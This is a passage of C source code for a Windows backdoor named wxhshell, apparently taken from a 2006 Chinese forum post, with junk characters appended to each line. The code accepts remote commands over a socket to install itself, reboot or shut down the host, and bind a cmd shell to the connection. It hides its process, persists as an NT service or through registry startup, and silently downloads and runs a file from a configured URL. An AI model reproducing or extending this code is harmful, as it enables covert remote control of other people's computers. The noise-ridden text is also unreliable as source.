  case '?': { GXO4x|08F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *0O<bm  
    break; B9wp*:.  
  } 'w}p[(  
  // 安装 ;JYoW{2  
  case 'i': { m6-76ma,hi  
    if(Install()) ]+AAT=B<!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y]~IY?I  
    else Bk+{}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P2>:p%Z  
    break; zgK;4 22$m  
    } Pfm*<,'x"[  
  // 卸载 B jYOfu'~z  
  case 'r': { H;qJH1EdD  
    if(Uninstall()) )+?HI^-[S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ ~|Q4AJ  
    else {-Yee[d<?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <p09oZ{6  
    break; [1<(VyJ}ye  
    } 02,W~+d1  
  // 显示 wxhshell 所在路径 &uPDZ#C-  
  case 'p': { dnix:'D1  
    char svExeFile[MAX_PATH]; 6zuze0ud  
    strcpy(svExeFile,"\n\r"); k'x #t(  
      strcat(svExeFile,ExeFile); rmoJ =.'  
        send(wsh,svExeFile,strlen(svExeFile),0); #7+]%;h  
    break; ^=k {~  
    } _y>}#6B  
  // 重启 'v\j.j/i  
  case 'b': { W;.{]x.0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .`Sw,XL5  
    if(Boot(REBOOT)) vuZf#\zh}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ym'7vW#~  
    else { {b2 aL7  
    closesocket(wsh); p(.N(c  
    ExitThread(0); )'`CC>Q  
    } |!oXvXU  
    break; lO[E[c G  
    } q4) Ey  
  // 关机 GJvp{U}y9I  
  case 'd': { n_J5zQJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jns/v6  
    if(Boot(SHUTDOWN)) ]Ym=+lgi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %0lf  
    else { VxkEez'|  
    closesocket(wsh); |e:rYLxm:  
    ExitThread(0); ly[lrD0Kn.  
    } a/ b92*&k  
    break; kB V/rw  
    } >{b3>s~T  
  // 获取shell };^}2Xo+  
  case 's': { s0 47"Q  
    CmdShell(wsh); LaclC]yLU  
    closesocket(wsh); %uua_&#)  
    ExitThread(0); i$["aP~G  
    break; D!S8oKW  
  } ^@K WYAAW5  
  // 退出 rEmwKZF'  
  case 'x': { Si]X rub  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gn^!"MN+g  
    CloseIt(wsh); `4skwvS=  
    break; p=vV4C:  
    } 'aZAS Pn[  
  // 离开 S_$nCyaH2  
  case 'q': { eKyqU9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SetX#e?q~  
    closesocket(wsh); p.5e: i^LJ  
    WSACleanup(); nn'Af,ko/  
    exit(1); ~{$L9;x  
    break; .+HcAx{/2  
        } a>w~FUm*  
  } I )5<DZB9  
  } V,m3-=q  
K_Re}\D  
  // 提示信息 ^\T]r<rCY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B 2Z0  
} [EruyWK  
  } ]q&tQJ/Fa  
??j&i6sp  
  return; k/@Tr :  
} NZP7r;u  
=-5[Hn%  
// shell模块句柄 @i{]4rk lv  
int CmdShell(SOCKET sock) KJX>DL 9\  
{ \f<z*!,D$  
STARTUPINFO si; &Q~)]|t  
ZeroMemory(&si,sizeof(si)); UhdqY]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :T5A84/C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fo(y7$33*  
PROCESS_INFORMATION ProcessInfo; uRpBeH]Z"  
char cmdline[]="cmd"; S2Vxe@b)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6uqUiRs()  
  return 0;  HD H  
} lCHo+>\Z  
?aFZOc4   
// 自身启动模式 5aG5BA[N  
int StartFromService(void) (2tH"I  
{ },s_nJR:8  
typedef struct [[X+P 0`r  
{ %mu>-hac  
  DWORD ExitStatus; '-.wFB;  
  DWORD PebBaseAddress; C bQ4Y  
  DWORD AffinityMask; ) $J7sa  
  DWORD BasePriority; W"t"X ~T3  
  ULONG UniqueProcessId; iu|v9+  
  ULONG InheritedFromUniqueProcessId; C5MqwNX  
}   PROCESS_BASIC_INFORMATION; W "k| K:  
&r:=KT3  
PROCNTQSIP NtQueryInformationProcess; Sz)b7:  
jqtVpNwM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _JA:.V^3gm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !=y Q)l2  
@h9K  
  HANDLE             hProcess; d>/Tu_ y  
  PROCESS_BASIC_INFORMATION pbi; TL'0T,Jo  
}/"4|U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %/!+(7 D  
  if(NULL == hInst ) return 0; 1yS&~ y?a  
QAUykS8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o}  {-j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =ajLa/m'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "&<~UiI  
G1[(F`t>  
  if (!NtQueryInformationProcess) return 0; B!uxs  
He<;4?:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &`@lB (m  
  if(!hProcess) return 0; @ZG>mP1Vo  
6KO(j/Gwp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mV;3ILO  
abSq2*5K  
  CloseHandle(hProcess); [T]Bfo  
5*+I M*c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gyFr"9';c  
if(hProcess==NULL) return 0; \Z'/+}^h  
shzG Eb  
HMODULE hMod; uJ 8x  
char procName[255]; #j.FJFGX  
unsigned long cbNeeded; #R<G,"N5  
b5S7{"<V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mLaCkn  
 P63 (^R  
  CloseHandle(hProcess); N iISJWk6'  
`;/XK,m-  
if(strstr(procName,"services")) return 1; // 以服务启动 uY]T:UVk  
]5)"gL%H`  
  return 0; // 注册表启动 .<.#aY;N  
} cmIT$?J  
WGMb8 /{$P  
// 主模块 s`1^*Dl%+  
int StartWxhshell(LPSTR lpCmdLine) /=/ HB  
{ ](nH{aY!  
  SOCKET wsl; AAo0M/U'  
BOOL val=TRUE; F|*tNJU>  
  int port=0; snq;:n!   
  struct sockaddr_in door; j%WY ,2P  
Ro~fvL~Ps  
  if(wscfg.ws_autoins) Install(); 10O3Z9  
63C(Tp"  
port=atoi(lpCmdLine); GMe0;StT  
ll2Vk*xs  
if(port<=0) port=wscfg.ws_port; ZRP y~wy>  
j.B>v\b_3  
  WSADATA data; f~R[&q +  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3Y(9\}E@`  
ofK='G .  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #fj[kq)&S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l?<q YjI  
  door.sin_family = AF_INET; +`Fb_m)f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tvT4S  
  door.sin_port = htons(port); B%mtp;) P  
D:)~%wu Lt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OEI3eizgH  
closesocket(wsl); XR+rT  
return 1; 9t0Cj/w}  
} ` yYvYc  
:cdQ(O.m  
  if(listen(wsl,2) == INVALID_SOCKET) { 506V0]`/  
closesocket(wsl); ,(;5%+#n  
return 1; %ZiK[e3G  
} Q.1XP  
  Wxhshell(wsl); E|{m"RUOy  
  WSACleanup(); 1 w17L]4  
;:?*t{r4#  
return 0; OW#_ty_ul  
b|6!EGh  
} SBz/VQ  
>>j+LRf*  
// 以NT服务方式启动 #4N >d~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p {?}g'  
{ (V)9s\Le_  
DWORD   status = 0; 7IQqN&J  
  DWORD   specificError = 0xfffffff; # \<P]<C  
)WmZP3$^TX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1\IZcJ {  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t2U$m'(A&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vbedk+dd?A  
  serviceStatus.dwWin32ExitCode     = 0; m#;.yR  
  serviceStatus.dwServiceSpecificExitCode = 0; [aHlu[,  
  serviceStatus.dwCheckPoint       = 0; F:_FjxU  
  serviceStatus.dwWaitHint       = 0; PU"S;4m  
K.%z;( U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L&QtHSzy  
  if (hServiceStatusHandle==0) return; Q K j1yG0i  
$bFgsy*N2  
status = GetLastError(); #<UuI9  
  if (status!=NO_ERROR) AoIc9E lEX  
{ u]0!|Jd0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zu<>"5}]  
    serviceStatus.dwCheckPoint       = 0; :v#8O~  
    serviceStatus.dwWaitHint       = 0; ey*,StT5a  
    serviceStatus.dwWin32ExitCode     = status; 77tZp @>hn  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]`K[W&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8;0 ^'Qr8  
    return; ~T7\8K+ $  
  } ?;fv!'?%  
GBW 7Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9>IsqYc  
  serviceStatus.dwCheckPoint       = 0; 'f8 p7 _F  
  serviceStatus.dwWaitHint       = 0; kR_E6Fl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m EFWo  
} [?|5 oaK  
pj+tjF6Np  
// 处理NT服务事件,比如:启动、停止 4L!e=>as"1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [d\#[l_  
{ E}t-N  
switch(fdwControl) f@L \E>t  
{ =@%MV(  
case SERVICE_CONTROL_STOP: =^by0E2  
  serviceStatus.dwWin32ExitCode = 0; cmae&Atotw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *%nX#mwz  
  serviceStatus.dwCheckPoint   = 0; @YsL*zw  
  serviceStatus.dwWaitHint     = 0; 4 #G3ew  
  { [XxA.S)x3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Etdd\^  
  } dbd"pR8v  
  return; Wz5d| b  
case SERVICE_CONTROL_PAUSE: F\:{}782u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u>1v~3,r#  
  break; (a,6a  
case SERVICE_CONTROL_CONTINUE: 4@gl4&<h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >|(WS.n3C  
  break; {8_:4`YZ  
case SERVICE_CONTROL_INTERROGATE: S~}$Ly@  
  break; fq{I$syY  
}; 2AmR(vVa"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Y&R0jt  
} =w t-YM  
|O2|`"7  
// 标准应用程序主函数 31H|?cg<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ddl3 fl#f  
{ W%w82@'  
7~:>WMv9  
// 获取操作系统版本 ;>sq_4_  
OsIsNt=GetOsVer(); D=<t;+|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qgh]@JJh  
dnk1Mu<  
  // 从命令行安装 uLF\K+cz  
  if(strpbrk(lpCmdLine,"iI")) Install(); Af$0 o=".  
O $YJku  
  // 下载执行文件 MV7}  
if(wscfg.ws_downexe) { S".owe$\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YstXNN4  
  WinExec(wscfg.ws_filenam,SW_HIDE); bl6':m+  
} CR P7U  
[@jp9D H  
if(!OsIsNt) { @b4b{d5[  
// 如果时win9x,隐藏进程并且设置为注册表启动 P"U>tsHK:  
HideProc(); [qq`cT@  
StartWxhshell(lpCmdLine); dV'6m@C  
} L>eQ*311  
else I):m6y@  
  if(StartFromService()) _$~ex ~v  
  // 以服务方式启动 i_'|:Uy*F  
  StartServiceCtrlDispatcher(DispatchTable); N.kuE=X  
else "bL P3  
  // 普通方式启动 ~y( ,EO  
  StartWxhshell(lpCmdLine); @fUX)zm>  
Ey 0>L  
return 0; 6f<*1YR F  
}
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只看该作者 1 发表于: 2006-10-10
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